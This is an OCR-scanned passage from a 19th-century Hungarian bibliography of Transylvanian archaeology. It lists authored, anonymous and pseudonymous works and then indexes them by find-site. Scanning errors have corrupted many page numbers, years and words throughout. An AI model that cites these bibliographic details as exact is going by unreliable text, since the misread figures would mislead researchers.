bürgen. — L. Gerhard, Denhnáler und Forschungm. Archaologische
Zeitung XVI. k. (1858) 112—113. sz., 149— 157. 1. és CXII. tábla.
— — L. Neigebaur 533. sz.
844. Wietersheim f Eduárd v. — ). Geschicbte der Völkerwanderung. Leip-
zig, 1859— 1864. 8r. 4 kötet ; elszórva, főleg: II. k., 50, 63—65,
69,07,109—110,110—123, 126—128, 139—140, 143, 154—157,
191 — 102, 210—244, 250, 202—263, 260—271. 281, 347, 349, 352,
356— 357, 373— 375. 1.— ÜL k., 12, 15,23. 10,66 -67,87, 188,255,
300—372. 1. — IV. k., 75, 1 14, 177, 323—325, 343, 385—386, 172. 1.
845. Wilmanns f Gustavus — ). De praefecto castrorum et praefecto legio-
nis. -- L. Ephemeris epigraphica, Corpons Inscriptionum Latina-
rum supplementum (Romae-Berolini) I. k. (1872) SS, 96 — OS. 1.
S46. — Exempla Inscriptionum Latinarum in usum praecipue academicum
Berolini, 1873. 8r. 2 kötet. — I. k. : 18—19, 70; 42, 139; 114—
115, 321 ; 107, 003: 183— 184, 030,. ; 307, 951 : 384, I I77 ; 100,
12(11- 1205:131.1277; 135—436, 1294; 140, 1310: 156—457,
1409— 1415 és 1418; 462, 1435 ; 476, 1485; 180, HOL; 107- 198,
1521- 1522b. ; 501, 1548; 510—511, 1501; 513, 1599a.; 521— 522,
1032—1633.— II. k.: 152— 159, 24 1'4— 2450; 100, 2105; 205,
2696 és 2699; 210, 275s.
I., Windisch-Zeyk, 848—854. '.'7
847. Windisch f Kari Gottliéb von — ). Geograpbie des Groszfürstenthums
Siebenbürgen (a «Geographic des Königreichs Ungarn III. köteti
Preszburg, 1780. 8r., elszórva. (És külön ». ". c-.nn alatt, Preszburg,
1790. 8r.)
848. Wolff ' -/. —). Hoclnvarten-Wartberge-Wartburgen. — L. Korrespon-
(lenzblati des Vereinesfür siebenbürgische Landeslamde (Hermannstadt)
T. k. (1878) 66—68. 1.
z.
Zamosius (Stephanus — ). L. Szamosközi 7)5.'). 1.
— Zangemeister i ( 'arolus — ). L. Mommsen 495. 1.
849. Zeiller (Martinus — ). Itinerarium Germaniae nov-antiquae. Teutsches
Reyszbucli durcli Hoch und Nieder Teutscbland auch angrántzende
und benachbarto Königreich, Fürstenthumb und Lande, als Vn-
garn, Siebenbürgen, stb. Straszburg, 1632. ívr. — 586 — 587, 588,
608, 1112. 1.
850. — Newe Beschreibung desz Königreichs Vngarn, und darzu gehöriger
Landen, Státte, vnd vornehmster üerther. Vlm, 1646. 8r., elszórva.
851. Zell (Carolus — ). Delectus inscriptionum Romanarum cum monu-
mentis legalibus í'ere omnibus (Handbuch der römischen Epigra-
phik. Erster Tbeil : Auswabl römischer Inschriften). Heidelbergae,
1850. 8r. — 3, 27 ; 3—4, 30; 21, 182— 183 ; 27, 250 ; 30, 294 ; 31,
298 ; 42—43, 381 ; 04, 441 ; 105, 908 ; 127—128, 1117; 146—1 17.
1266; Kii, 1379; 178, 1520; 187, 1585; 4-21—422, 1842. — És:
«AnleitungzurKenntniss der römischen Inschriften (Handbuch der
römischen Epigraphik. Zweiter Theil : Anleitung stb.). Heidelberg,
1 852i 8r., elszórva.
852. Zerich (Tivadar ). A károlyfehérvári székesegyház történelmi és míí-
építészeti vázlatos leírása. — L. Knauz, Magyar^ Sión (Esztergom)
1. (1863.) évf., 45, 46—47, 203—201-, 284, 285—280. 1.
853. Zeuss ( Kaspar — ). Die Deutschen und die Nachbarstámme. München,
1837. 8r., elszórva, főleg : 200—201, 282—283, 697—700. 1.
854. Zeyk (János. Idősb — ). Utazási töredék. — L. Nemzeti Társalkodó
(Kolozsvár) 1S30. évf., 2. félév, II. sz., 162—168.1. -- IS37. évf.,
2. félév, 15. sz.. 225. 1.— 1839. évf., 2. félév, 5 sz., 37. 1. ; 7. sz.. l'.i,
51—52.1.
Repertórium, j
98 I., Zumpt, 855—858.
855. Zumpt ' Auij, diiil. — j. Honomui gradus sub imperatoribus Hadriano
et Autonino Pio secunduni veterem lapidem Dacicum explicati. —
L. Wélcker-Ritschl, Rheinisches Museumfür Phüologie (Frankfart am
Main) N. F. II. (1842) évf., 2, f., 249—289. 1.
856. — De quinquennalibus municipiorum et coloniarum. — L. Zumpt,
i 'ommentationum epigraphicarum ad antiquitates Romanas pertvnentium
volumen I. Berolini, 1850. Ír. — 104. 1.
857. - De quattuorviris municipalibus. — L. Zumpt, Oommentationum
epigraphicarum mi antiquitates Romanas pertvnentium volumen 1. Be-
rolini, 1850. 4r. — 189.1.
858. — De coloniis Komanorum militaribus libri quattuor. — L. Zumpt,
< 'ommentationum epigraphicarum (til antiquitates Uomanas pertinentium
ml nmen I. Berolini, 1850. ír. — 404—406, 430, 479. 1)
II. RÉSZ.
NÉVTELENÜL VAGY ÁLNÉV, JEGY STB. ALATT MEGJELENT ÖNÁLLÓ
MÜVEK, FOLYÓIRATOKBAN ÉS HÍRLAPOKBAN KÖZÖLT ÉRTEKEZÉSEK,
CZIKKEK STB.
1 — 4-6. szám.
PAES II.
opera, dissertationes et commentationes , quae eodem modo, sed aut
omisso aüctobia xo.mine prodierunt. aut kkto nomine sive sigillo quodam
sínt signatae.
. \ inti. 1 — Jf(i.
A.
1. Dem Nestoi deutscher Forsclmng in Siebenbürgen Johann Michael
Ackner stb. zur Feier des fünfzigjáhrigen Dienstjubilitums. — L.
Iranssilvania, Beiblatt znm Siebenbürger Botén ( Hermannstadt )
1858. évi., 4-1. sz., 161—165. 1. (R. jegy alatt).
2. História tenipli catbedralis Albensis in Transsilvania. — L. Schematis-
mus venerabilis cleri dioecesis Transsilvaniensis ad annum bissextilem <i
( 'hrísto nato 1848. (Claudiopoli, 1848. 8r) LXXXIII— LXXXY. 1.
3. Alterthümliches. — L. Blátterfür Geist, Gemüth und Vaterlandskunde
(Kronstadt) 1844. évf., 28. sz., 209—210. 1. (S. . jegy alatt).
í. Anfrage. — L. Unterhaltungsblatt für Geist, Gemüth und Publizitíit
Kronstadt) 1S37. évf., 13. sz., 104. 1. (.H-*/. jegy alatt) ; a feleletet 1.
Marienburg Mi), sz.
5. Zur Archáologie Siebenbürgens. — L. Tranmlvariia, Beiblatt znm
Siebenbürger Botén (Hermannstadt) 1855. évf., 2. sz., 7 — 8. 1. ; 3. sz..
10—12.1.; 4. sz.. 14—15. 1.
G. Bericht über die Tbiitigkeit des Bistritzer Zweigvereins für siebenbür-
giscbe Landeskunde. — L. Archív des Vereines für siebenbürgische
Landeskwnde (Hermannstadt) N. F. X. k. (1872) 158—159. 1.
7. Bericbt über die Tbátigkeit des Bistritzer Zweigvereins für sieben-
bürgiscbe Landeskunde wahrend des zweiten Jabres seines Bestandes
(187Va). — L. Archív des Vereines für siebenbürgische Landeskunde
(Hermannstadt) N. F. XI. k. 1 1*73) 31G— 317, 318— 319. 1.
102 II., C— E, 8—17.
C.
8. Bericht über die Wirksamkeit der k. k. Central- Commission zur Erfor:
schung und Erhaltung dcr Baudenkmale. — L. Jahrbuch der k. h.
Central- Commission zur Erforschung inul Erhaltung der Baudenkmale
(Wien) I. k. (1856) 72—73. L— II. k. ( 1 857 ) XLIII. 1.— III. k. ( 1 S59)
XXHI -XXIV. 1. — IV. k. (1860) XXII. 1. — V. k. (1861) XXIII. 1.
D.
9. Creschichte der Dacier. — L. S. J. Baumgarten, Uebersetzung der allge-
meinen Welthistorie die in Engeland durch eine Gesehchaft von Gelehrten
ausgefertigt worden. Halle, 1758. í-r. — XVII. k., 531—539. 1.
10. Ueber Dacier und Celten, Ardeal und Erdély. — L. Transsilvania,
Beiblatt zum Siebenbürger Botén (Hermannstadt) 1856. évf., 1 1. sz.,
41. 1. (* jegy alatt).
1 1. Einiges über die Feldzeicben der Daken. — L. Transsilvania, Beiblatt
zum Siebenbürger Botén (Hermannstadt) 1857. évf., 33. sz., 132. 1.
(--.jegy alatt).
t2. Zur Frage über das Keltentlium der Daken. — L. Transsilvania, Beiblatt
zum Siebenbürger Botén (Hermannstadt) 1857. évi., 18. sz., 72. 1.
13. Des letzten Dakenkönigs Scliatz. — L. Transsilvania, Beiblatt zum
Siebenbürger Botén (Hermannstadt) 1857. évf., 28. sz., 109—1 10. 1.
(2*. jegy alatt).
E.
14. A bálvány aranyból készült barbár műtárgyak Erdély területén készít-
tettek. — L. Archaeologiai Közlemények (Pest) VIH. k. (1871) 2 14-. 1.
15. Adatok Erdély régiségeihez. — L. Korunk (Kolozsvár) 1867. évf., 52. sz.,
tárcza («Egy régiség kedvellő*).
K'». Az Erdélyben talált régiségek külföldre vitele. — L. Archaeologiai Köz-
lemények (Pest) VII. k. (1868) 220—221. 1., 14) sz.
17. Az Erdélyi régiségekről. — L. A magyar nyelvmivelS társaság munkáinak
II., G— M, 18-25. 103
első darabja. Szeben, 1796, 8r. 126 — 14-3.1. (szerzője valószínűleg
Aranka György); bírálatát 1. Siebenbürgiscbe Quartalschrifí (Her
mannstadt) 1797. (V.) évf., 272—273. 1.
G.
IS. Eurzgefaszte Geographie der Römer und (Iriechen, huh clen bestén
Quellén ingleichen nacb IV Anville Landkarten und dessen Hand-
buch der altén Erdbeschreibung zum G-ebrauche für Schulen verfaszt.
Nürnberg, 1799. 8r. — 70—79. 1.
H.
19. Histoire de la Moldavie et de la Valacbie. Neuchatel, 1781. 8r. — I — 3,
5—10, 24—25. \.(C ... jegy alatt).
20. A zsidó-begy Hunyadmegyében. — L. Unió, politikai és közgazdasági
lap (Kolozsvár) 1868. évf., 16 és 18. sz., tárcza. (Ay. jegy alatt).
M.
21. Bericbt über die Thátigkeit des Mediascher Zweigvereins für sieben-
bürgiscbe Landeskunde. — L. Archív des Vereines für siebenbürgischt
Landeskunde (Hermannstadt) N. F. X. k. (1872) 421—422. 1.
22. A Mithras-emlékek Erdélyben. — L. Vasárnapi Újság (Pest) 1865. évf.,
42. sz., 532. 1. („Havasi").
23. Holmi római mozaikról. — L. Kolozsvári Közlöny 1864. évf., 10*. sz..
450—451.1. („Tusnádi").
24. Hazai műemlékek és régi épületmaradványok jegyzéke. — L. .1 vallás-
éi közoktatásügyi >n. kir. ministernek a közoktatás 1H70. és 1871. évi
állapotáról szóló s az országgyűlés ele terjesztett jeli nt>s, /v.'. Hada.
1872. 8r. — 224, 255, 275—278. 1. - - Ugyanannak a közoktatás
1872. évi állapotáról szóló jelentése, Budapest, 1874. 8r. 128. 1.:
végül: 1876,7 — l877/8-ról, Budapest, 1879. 8r. — 857. 1.
25. Daciscbe Münzen. — L. Transsilvania, Beiblatt zum Siebenbürger Bo-
10 1 II., M— O, 26—30.
ten (Hermannstadt) 1841. évf., I 7. sz., 7.') — 70. 1.; és: "Zwei anedirte
seltene römiscb-dacischeMünzen»,l. Arekiv des Véreim för siebenbür-
gische Landeskunde (Hermannstadt) I. k., I. f. (1845) 130—134.1.
V. Ti. ez utóbbira nézve: Kemény 368. sz.
26. Für Münzenfreunde (fráuendorfi == asszonyfalvai lelet). - — L. Korrespon-
denzblatt des Veremén fúr siebenbürgische Landeskunde (Hermannstadt)
II. k. (1879) I. sz., 12. 1. (V. ö. e rész 46. sz.)
"27. Für Freunde der Münzkunde, 1. Unterhaltimgsblatt fúr Geist, <+e-
rnüth und Publizitat (Kronstadt) 1S37. évf., 17. sz., 130. 1.
N.
28. A nagyenyedi ev. ref. collegium régiségtára elveszett tárgyainak felke-
restetése. — L. Budapesti Hírlap (Pest) 1855. évf., K39. sz., 2695. 1.
(Erdélyi Hegyalja. tHegyaljaw álnév alatt).
29. A nagyenyedi római viaszos táblák külföldre vándorlásáról. — L.
Századok, a magyar történelmi társulat közlönye (Budapest) XHI. k.
( 1879) 448 — Í4-9. 1. (Német fordítását következő czím alatt : Wande-
rungen siebenbürgiscber Altertbümer [Wachstafeln] 1. Korrespon-
denzblatt des Vereinesfür siebenbürgische Landeskunde [Hermanustadt]
II. k. [1<S79] 6. sz., 57 — 58. 1.); Archaeologiai Értesítő (Budapest)
XHI. k. (1879) 202—204. 1. (A hazából kivándorlóit régiségek); és
m. o., 242—243. 1. ( SzikinczeyJ.
o.
30. Őskori csecsebecse (de nem az !). — L. Archaeologiai Értesítő (Pest) IV. k.
(1870) 44 — 45. 1.; Mittheüungen der />. k. Central- Commission zur
Erforschung und ErhaUung der Baudenkmale (Wien) XVIII. k. ( 1873)
309.1. (]>)-. Kari Lind, Die Gruppé XXIV. der Wiener Weltaus-
stellung).
II., R— S, 31—38. lo:
R.
31. Egy pár szó régiségeink érdekében, különösei] Alsó-Fehérmegyére vo-
natkozólag. — L. Kolozsvári Közlöny 1867. évf., 105. -/.. 145 íí»'>. 1.
... llsófehérmegyt i" .
s.
32. Der Salzreichthum Siebenbürgens. — L. Blatter für Geist, Gemüth und
Vaterlandskundi (Eronstadt) 1856. évf., 6. sz., 42. 1.; 16. sz., 118.1.
33. Berielit über die Thátigkeit des Schászburger Zweigvereines für sieben-
bürgische Landeskunde in deu Yereinsjahren 185s 4 und lsö4.-,. —
L. Archív des Vereines für siebenbürgische Landeskunde (Eronstadt)
N. F. II. k. ( 1857) 144, 441, 442, 443. 1. — III. k. 1 1858) 159, 160. 1.
34. Yersncb einer Staats- und Religions- Geschichte von Siebenbürgen.
Eerausgegeben von einem siebenbürger Sachsen. I. Theil. Politiscbe
Geschicbte. Leipzig und Gera, 1796. 8r. — 25 — 80. 1. (E ezihi alatt
is : Uebersicht der politischen Geschicbte von Siebenbürgen. Ein
Versuch von einem siebenbürger Sacbsen, u. o., u. a. 8r.)
35. Aus dem Tagebuche eines Reisenden in Siebenbürgen. — L. Blatter
für Geist, Gemüth und Vaterlandskwn.de (Eronstadt) 1838. évf., 19. sz.,
153— 154. 1. ; 33. sz., 265, 266, 267. 1. (.<•+>/. jegy alatt).
36. Briefe über interessante Momente der siebenbürgiscben Geschicbte. —
L. Blatter für Geist, Gemüth und Vaterlandskunde (Eronstadt) 1839.
évf., 5. sz., 33—35. 1.; 9. sz., 65—66. 1.; 13. sz., 97 99. 1. — És:
Briefe über interessante und dunkle Gegenstánde der siebenbürgi-
schen Geschicbte, >i. <>., 13. sz., 351 — 353, 399 — 401. 1.
37. Ueber die in Siebenbürgen gefundene Sphinx und ihre Anfschrift mit
Beziebung auf deutsche Irmensule. — L. Tllustrirte Zeitung (Leip-
ság) 1847. (IX.) 2ls. sz., 154. 1. (70. .jegy alatti.
38. A Springen, Alsófehérmegyében talált római oszlopról. — L. Korunk
(Kolozsvár) 1866. évf., 109. sz., tárcza („ Várkun" álnév alatt-. V.ö.
u. c. 73. sz. (Hírfüzér).
106 II., T-V, 39-46.
T.
39. Visszapillantás a magyar Történelmi Társulatnak Kolozsvárott tar-.
tott első vidéki nagygyűlésére. — L. Archaeologiai Értesítő (Pest)
I. k. (1869) 31—32. 1.
40. Jelentés ;i magyar Történelmi Társulat kolozsvári bizottsága 1870.
nov. 1 3-ikán tartott üléséről. — L. Századok, a magyar történelmi
társulat közlönye (Pest) IV. k. (1870) 720. 1., i. sz.
41. Trajanus hídja. — L. Almanach von Ungarn auf das Jahr 1778. Wien
und Preszburg, (177S.) 8r. —183—184. 1.
42. A Trajanus hídja faoszlopairól. -- L. Mindenes' Gyülytemény (így) II.
negyed (1789) 231 — 233. 1. (A természetvizsgálókhoz).
43. Trajanus aldunai táblája. — L. Történelmi és régészeti értesítő, a délma-
gyarországi történelmi és régészeti társulat közlönye (Temesvár)
II. k. (1876) 98. 1.
TJ.
44. Római utak maradványai Erdélyben. — L. Nemzeti Társalkodó (Kolozs-
vár) 1839. évf., 2. félév, 2. sz., 9—10. 1. (.V. .V. jegy alatt.)
V.
45. Den Vérein für siebenbürgische Landeskunde betreffender Vorschlag
und archáologische Fingerzeige. — L. Transsilvania, Beiblatt zum
Siebenbürger Botén (Hermannstadt) 1847. évf., 41. sz., 181 — 184.1.
46. Rückschau auf die Vereinsthátigkeit wáhrend des abgelaufenen Thei-
les des Vereinsjahres 1 <S 7 7, S. — L. Korrespondenzblatt des Vereines
fúr siebenbürgische Landeskunde (Hermannstadt) I. (1878.) évf., 1 sz.,
11 — 12, 12 — 13. 1. (a frauendorfi = asszonyfalvai lelet, v. ö. e rész
26. sz.)
III. RÉSZ.
NÉVTELENÜL MEGJELENT MÜVEK, VALAMINT AZ I, II, IV ÉS VI.
RÉSZBEN ELŐSOROLTAK KÖZÜL AZOK, A MELYEKBEN AZ ILLETŐ
HELYNÉV MEGJELÖLTETIK, LELHELYEK SZERINT OSZTÁLYOZVA.
1 — 14Ö. szám.
PAES III.
OPERA ANONYMA ET RELIQUA IN PARTIBUS I. II. IV. ET VI. JAM BECENSITA, IN
QUIBUS NOMINA GEOGRAPHICA MEMORANTUR, IN HAEC NOMINA DISTRIBPTA.
Num. 1 — 145.
A.
Abrudbánya. — L. /. rész, 838. sz. — Abrudbányai római viaszos táb-
lák I. : Verespatak.
Aldoboly. — L. 1. rész, 379. sz.
Algyógy. — L. 7. rész, 245, *00. sz. — 17. rész, 56. sz.
Alsófehérmegye. — L. II. r>sz, 31. sz.
Alsó-Ilosva. — L. /. rész, I 12,211,529, 782, 790. sz.— 17. rész, 80. sz.
1 . Alvincz. Mamuthagyar és kőbalta Alvinczen. — L. A magyar orvosok
és természetvizsgálók munkálatai (Pest) XIV. k. (1869) 330. 1. (A sztánai
kimosási völgy és a kolozsvári medencze.)
2. Apáti. Apátiban lelt bronz és arany tárgyak. — L. Archaeologiai Érte-
sítő (Budapest) XIII. k. (1879) 1 95. 1.
Ápold. — L. Nagy-Apold.
Apsa. — L. Közép-Apsa.
Apulum. — L. Gyulafehérvár.
3. Arács. Arácson talált római feliratos sírkó. — L. Történelmi és régészeti
értesítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) IV. k. (1878) 162, 199—200. 1.
Arad. — L. Ó-Arad.
Aradmegye. — L. /. rész, 45, 470, 523. sz.
4. Arany. Kómái feliratos kő az aranyi hegyről. — L. Korunk (Kolozsvári
1867. évf., 21. sz. (Hírfüzér l.
Aranyosszék. — L. /. rész, 55 1 . sz.
5. Arokalja. Az árokaljai bronz kerék. — L. Rich, Dictionnaire tSes anti-
quités romaines et grecques (fordította Chéruel). Paris, 1861. 8r., e szók
alatt : modiolus 7.. 409. 1. ; radius 3., 527. 1. ; rota 1., 540. 1.
6. — Az Arokalján lelt bronzkerekekről. — L. Archaeologiai Értesítő (Pest)
I. k. (1869) 35—37. 1., 107. sz.
Asszonyfalva. — L. /. rész, 839. sz. — //. rész, 26, 46. sz.
lld III., Bács— Bereczk, 7—13.
B.
Bács. — L. /. rész, 291, 293, 796. sz.
7. Bácsmegye. Topographísche Beschreibung der Batscher Gespanschaft
L. Windisch, Ungrisches Magazin (Preszburg) IV. k. (1787) 484. 1
S. Balázsfalva. Balázsfalván talált római réz- és Szecselen lelt római
ezüstérem.— L. Archaeologiai Értesítő (Pest) I.k. (1869) 125—120. 1.
Politikai Újdonságok (Pest) 1809. (XV.) évf., 7. sz., 81.1. (Vegyes
hírek) ; ('iparin, Archivu pentru filológia si istoria (Blasiu) 1809. évf.,
XXI. sz., 424. 1. (Notitie diverse).
Bánd. — L. Mezö-Bánd.
ít. Bánffy-Hunyad. Bánffy-Hunyadon és Marosvásárhelyt talált obsidián-
nucleus. — L. Archaeologiai Értesítő (Pest) I. k. (1869) 56 — 57.1.,
3 5. ábra.
Bania. — L. /. rész, 207. sz.
10. Bárányhegy. Bárányhegyen ('?, Erdélyben?) lelt őskori arany tárgyak.
— L. Archaeologiai Értesítő (Budapest) XII. k. (1878) 225. 1.
Barczaság. — L. I. rész, 551. sz.
Bardócz. — L. 7. rész, 841. sz.; v. ö. e rész, 18. sz.
11. — Bardóczon talált (arany?) karikák. — L. Archaeologiai Értesítő (Pest)
II. k. (1870) 55.1.
Baróth. — L. 7. rész, 823, 841. sz.
Béba. — L. Ó-Béba.
Becse. — L. Török-Becse, Új -Becse.
Becskerek. — L. Kis-Becskerek, Nagy-Becskerek.
Bekecs (hegy). — L. /. rész, 177. sz.
Békés-Csaba. L. /. rész, 201. sz.
Békés-Gyula. — L. /. rész, 478. sz.
12. — Békés-Gyulán lelt római (?) vízvezető cserépcső. — L. Történelmi és
régészed értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) V. k. (1879) 130. 1.
Békésmegye. — L. 7. írsz, 202. sz.
Benne. — L. 7. rész, 51 1, 512. sz.
Bereczk. — L. I. rész, 819. sz.
13. — Bereczken talált római téglák. — L. Történelmi és régészeti értesítő,
III., Beregszó— Borjas, 14- 111
adélmagyarországi történelmi és régészeti társulat közlönye (Ti
mesvár) 111. k. (1877) 195 196. 1.
II. Beregszó. Beregszón lelt barbarkori (?) régiségek. - I.. történelmié*
régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) IV. k. (1878) 199, 207. 1. - V. k. (1879) 54. 1.
Berény. — L. Mezó'-Berény.
Berethalom. — L. /. rész, 515. sz.
1T>. Berza. Berzán talált régi ezüstérmek. — L. Ország (Pest) Is(i2. (I.) évf.,
ŰO. sz. (Újdonságok).
Besztercze. — L. /. rész, 510. sz.
Beszterczevidék. — L. II. rrsz, 0, 7. sz.
Bibarczfalva (vagy rövidítve Bibarcz). — L. /. rész, 390, 734. sz. ;
v. ö. t rész, IS. sz.
Biharmegye. — h. I. rész, 177. sz. (az s ördögárka s Biharmegyében);
581. sz. (Biharmegye sárréti járása).
i ti. Biliét. Biliéten talált barbarkori kagyló-nyakék. -- L. Történelmi és
régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) IV. k. (IS7S) 87. 1. és u. »/., 100. 1.
Birthálm. — L. Berethalom.
Bistricz. — L. Besztercze.
17. Bogsán (vagy Bogsánbányaj. Bogsánbányán lelt (barbarkori ?) cserén-
edények, csiszolt kő. — L. Történelmi és régészeti értesítő, a délmagyar-
országi történelmi és régészeti társulat közlönye (Temesvár) IV. k.
(1878) 87 — 88. 1. és //. o., 100. 1. — Bogsánban egy aranybányában
talált római bányalámpa, 1. u. o., III. k. (1877) 24. 1. — Bogsán mel-
lett lelt római cserépedények, 1. u. <>., I. k. ( 1875) 193—194. 1., v. ö.
ií.o.,II. k. (1876) 37—38. 1.
In. Böjté (Bardócz és Bibarczfalva határán). A böjtéi sírhalmok, - L.
Archaeologiai Értesítő (Pest) I. k. (1869) 39. 1.
Boldogfalva. — L. VI. rész, 74. sz.
Bonta szorosa ; Udvarhelyszékben ). — L. /. rész, j-jO. sz.
Borberek. — L. /. rész, 390. sz.
19. Borjas. Borjason talált kőkori tárgyak. — L. Történelmi és régészeti érte-
sítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) in. k. ( 1877) 195. 1. — IV. k. (1878) 90, 100. 1. — V. k.
(187D) 83. 1. — Borjason lelt római ezüst- és rézérem, 1. u. o., V. k.
(1879) 83. 1.
112 III., Borosjenő -Dernsus, 20—24.
20. Borosjenő. Borosjenőn talált bronz súly. — L. Történelmi és régészeti
értesítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) I. k. (1875) 44. 1.
Borszék. — L. /. >■>*:, Í45. sz.
Botes (hegy). — L. Zalatna.
21. Bozsik. Bozsikon lelt palstah. — L. Archaeologiai Értesítő (Pest) I. k.
Í1869) 78. 1.
22. Brassó. Brassóban talált aranygyűrű. — L. Archaeologiai Értesítő
(Pest) I. k. (1869) 19, 129—130. 1. (V. ö. Welt-Ausstellung 1873. in
Wien. Officieller Kunst-Catalog. Gruppé XXIII — XXV. Dritte Auf-
lage. Wien, 1873. 8r. — 52. 1., 3. Abtheilung, 2. sz.)
Bulcs. — L. /. rész, 566. sz.
Buziás. — L. 7. rész, 158. sz.
Carlsburg. — L. Gyulafehérvár.
Csaba. — L. Békés-Csaba.
Csáklya. — L. 7. rész, 798. sz.
Csanád. — L. /. rész, 292, 569. sz.
Csanád-egyházmegye. — L. 7. rész, 567. sz.
Cserbel. — L. 7. rész, 574. sz.
23. Csigmó. Csigmói római régiségek. — L. Kolozsvári Közlöny 1865. évf.,
21. sz., 83.1. (Különfélék); Korunk (Kolozsvár) 1865. évf., 23. sz.
(Hírfüzér); Süryöny (Pest) 1 S65. (V.) évf., 42. sz. (Tárcza. Napi új-
donságok). — L. még : I. rész, 1 14. sz.
Csík-Nagyboldogasszony. — L. VI. rész, 67. sz.
Csík-Rákos. — I,. /. rész, 572. sz.
Csíkszék. — L. /. rész, 551. sz.
Czófalva. — L. /. rész, 179, 35í, 356, 406. sz.
D.
De nsus. — L. 7. rész, 12, 588, 738, 760. sz.
24. - A demsusi régi templom. — L. Archaeologiai Eztesítő (Pest) III. k.
(1870)320—321.1., 80. sz.
III., Denta— Esküllő, 25-29. M3
Denta. — L. /. rész, 558. sz.
25. — Római felírat Dentán. — L. Ortvay-Szentkláray, Történelmi adattár
Csanád-egyházmegye hajdanához és jelenéhez (Temesvár) IV. k. i 1874
162 163.1. Nevezetes (római aranyérem) Lelel Detta (helyeseb-
ben Denta) tájékán. L. T»rti ml mi >■* mjrs-.rti értesítő, a délma-
gyarországi történelmi és régészeti társulat közlönye (Temesvár) I. k.
I 1875) 194. 1. ; v. ö. u. o., II. k. 1 1876) 37. 1.. a hol a lelet dentainalí
mondatik; 43, 105.1. — Dentán talált római ezüstérem, 1. u. o.,
II. k. (1876) 41.1.
26. Detta. Tumulus (?) Detta és Nagy-Gáj között. — L. Történelmi és régé-
szeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) II. k. ( 1876) 13. 1.
Déva. — L. /. rész, 30. 197 (valószínűleg veczeli), <>7<i. sz. -- L. még:
Veczel 137. sz.
Doboly. — L. Aldoboly.
Doboz. — L. Tarhos \-2~2. sz.
Dorstadt. — L. Hosszútelke.
27. Dragsina. A dragsinai földvár. — L. Történelmi és régészeti értesítő, &
délmagyarországi történelmi és régészeti társulat közlönye (Temes-
vár) I. k. ( 1875) 190—191. 1.— V. ö. I. rész, 158. sz.
E.
Ekemezó'. — L. Nagy-Ekemezö'.
Élesd. — L. /. rész, 640. sz.
28. Enlaka. A római castrum stativum Enlakán. — L. Archaeologiai Érte-
sítő (Budapest) VILI. k. ( 1874) 21. 1.
Enyed. — L. Nagyenyed.
Erzsébet. — L. Szenterzsébet.
2'J. Esküllő. Esküiión lelt római ezüstérem. — L. Archaeologiai Értesítő
(Pest)I. k. (1869) 78. 1.
Repertórium.
114 III., Fehérmegye— Gyula, 30—35.
F.
Fehérmegye. — L. Alsófehéi'megye.
30. Fehértemplom. Barbárkori sírok Fehértemplomban. — L. Archaeolo-
yiai Értesítő (Budapest) VII. k. (1873) 176. 1. (v. ö. Ungarücher
Lloyd [Budapest] 1873. évf., május 13-i szám.)
31. Felek (hegy Kolozsvár mellett). A Felek-hegyen talált római réztábláról.
L, Hormayr, Archív für Geschichte, Statistik, Literatur und Kunst
(Wien) XVI. k. (1825)322. 1.
32. Felsö'-Szelestye. Felső-Szelestyén talált bronz kelt. ■ — L. Archaeologiai
Értesítő (Pest)I. k. (1869) 20.1.
Fenyó'falva. — L. 7. rész, 5, 620. sz. — L. még : Kastenholz.
Firtos (hegy Udvarhely székben). — L. 7. rész, 514. sz.
Frauendorf. — L. Asszonyfalva.
33. Füskút. Füskúton talált (barbarkori ?) korsó. — L. Történelmi és régé-
szeti értesítő, a délmagyarországi történelmi és régészeti társulat köz-
lönye (Temesvár) II. k. (1876) 14-6. 1.
G.
Gáj. — L. Nagy-Gáj.
Galgovicz (?). — L. /. rész, 77. sz.
Gált. — L. Szász-Ugra.
34. Gaura. Gaurán talált bronztárgyak. — L. Archaeologiai Értesítő (Buda-
pest) XIII. k. (1870) 196.1.
Gierelsau vagy Gieresau. — L. Fenyó'falva.
35. Grebenácz. Grebenáczon talált bronz- és vastárgyak. — L. Történelmi
és régészeti értesítő, a délmagyarországi történelmi és régészeti társu-
lat közlönye (Temesvár) III. k. (1877) 39. 1. (v. ö. //. b., 76. 1.)
Grediste. — L. Muncsel.
Grosspold. — L. Nagy- Ápold.
Gross-Probstdorf. — L. Nagy-Ekemezö.
Gyalu. — L. /. rész, 1 86. sz.
Gyógy. — L. Algyógy.
Gyula. — L. Békés-Gyula.
III.. Gyulafehér \ 45. 11".
Gyulafehérvár. L. I. rész, 32, 53, 54, 59, 85,206,207,210,246,
256, 104, 582, 666, 672, 740, 766, 801, 802, 812, 820, 821, 852
— //. rész, _. 23. sz. VI. rész, 67, 68. bz.
3G. — Károlyfej érvár leírása. L. / magyar nyélvnúvelö társasáy mun-
káinak első darabja. Szeben, 1796. 8r. I \ 4 150, 154 155,156.1.
(valószínűleg Aranka Györgytől), ismertetve : SiebenbürgiscJu Quartálr
schríft (Hermannstadl I 1797. (V.) évf., 273 274. 1.
37.— Karlsburg in Siebenbürgen. - L. Vnterhaltungsblatt fúr Geist, Ge-
iníitli und Publizitat (Kronstadt) 1837. évf., 17. sz.. 129. 1.
■ iv. Károlyfehérvári római régiségek. -- L. Pesti Napló 1861. (XII.)
évf., 218. sz. (Különfélék).
39. — Gyulafehérvárt (?) az arad-alvinczi vasútvonal építése alkalmával
talált római régiségek. — L. Pester Lloyd 1867. (XIV.) évf., 195. sz.
( Tagesneuigkeiten ).
40. — Károlyfehérvár-Marosportuson talált római régiségek. -- L. Wiener
Zeitung lsd7. évf., 218. sz., 771.1. (Kleine Chronik. Alterthümer).
41. — Károlyfehérvár és Marosporto mellett 1867-diki septemberben ki-
ásott római régiségek. — L. Archaeologiai Közlemények (Pesti VII. k.
, 1868)218. 1.. 5) sz.
i'2. — A m. kir. közmunka- és közlekedési ministernek az arad-nagyszebeni
vaspályavonal építése alkalmával különösen Károlyfehérvárnál lelt
régiségek iránt a c-s. és kir. szab. első-vasúttársulat igazgatóságához
intézett, 1867. évi augustus hó 21 -kén U62. sz. a. kelt felhivása. —
